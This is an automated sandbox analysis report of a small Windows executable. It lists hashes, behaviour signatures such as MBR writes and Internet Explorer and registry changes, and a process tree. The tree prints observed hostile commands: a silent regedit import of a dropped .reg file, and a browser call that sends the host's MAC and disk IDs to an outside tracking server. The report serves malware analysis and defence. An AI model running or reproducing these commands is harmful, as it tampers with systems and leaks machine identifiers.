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Analysis

  • max time kernel
    46s
  • max time network
    51s
  • platform
    windows7_x64
  • resource
    win7-20220901-en
  • resource tags

    arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
  • submitted
    03/10/2022, 07:22

General

  • Target

    503bf872beb6a32baad39010b9840cd009b0142f6a12c7166b745a4feec25831.exe

  • Size

    16KB

  • MD5

    6b3f9388ad9b5694d76362807ba0a539

  • SHA1

    950f89aa83635460f8d55d3298d486b910076710

  • SHA256

    503bf872beb6a32baad39010b9840cd009b0142f6a12c7166b745a4feec25831

  • SHA512

    926db6c6cbf55bdb8124241f255a815f12e0c5474caacb1a03aba06ca39d0d984c8aefc2e00616e9ed7bc26867fa3f75f675e854be0b53d3d18170ea49f5b40b

  • SSDEEP

    384:Mg8BoocpwfdtbjgYuHisEpmxs1eSXbWhAiaNk/rX:MNBvcidtXgYuHisEp84LXyq0

Score
6/10

Malware Config

Signatures

  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Modifies Internet Explorer settings 1 TTPs 23 IoCs
  • Modifies registry class 14 IoCs
  • Runs .reg file with regedit 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\503bf872beb6a32baad39010b9840cd009b0142f6a12c7166b745a4feec25831.exe
    "C:\Users\Admin\AppData\Local\Temp\503bf872beb6a32baad39010b9840cd009b0142f6a12c7166b745a4feec25831.exe"
    1⤵
    • Writes to the Master Boot Record (MBR)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1204
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c regedit /s "C:\Users\Admin\AppData\Local\Temp\getback.reg"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2040
      • C:\Windows\SysWOW64\regedit.exe
        regedit /s "C:\Users\Admin\AppData\Local\Temp\getback.reg"
        3⤵
        • Modifies registry class
        • Runs .reg file with regedit
        PID:580
    • C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" http://union.wanwan.cc/Stat.ashx?Mac=7225AF485800&Hard=QM00013&ClientType=Home&Process=28&UserID=0003&Authen=752-465
      2⤵
      • Modifies Internet Explorer settings
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:268
      • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:268 CREDAT:275457 /prefetch:2
        3⤵
        • Modifies Internet Explorer settings
        • Suspicious use of SetWindowsHookEx
        PID:700

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\getback.reg

    Filesize

    1KB

    MD5

    626e2d76f5c328d57a3eff6a7f94d129

    SHA1

    210fd33fa005775b30a8fd40a065a2e788934216

    SHA256

    5d9ae4b62924d6da9c35305bfd0d61c893767b7113f8b2f239da02057f8bee6e

    SHA512

    629290bd5791a42327b3b70a68609c6b0b9114365be8579553e01e6cbc98996c0fab475b88c0dd80d34dcc325453401c6cce26fb70ed67a9cb08271a07fd85a1

  • memory/1204-56-0x0000000074DE1000-0x0000000074DE3000-memory.dmp

    Filesize

    8KB

  • memory/1204-61-0x0000000000400000-0x000000000040D000-memory.dmp

    Filesize

    52KB

  • memory/1204-62-0x0000000000400000-0x000000000040D000-memory.dmp

    Filesize

    52KB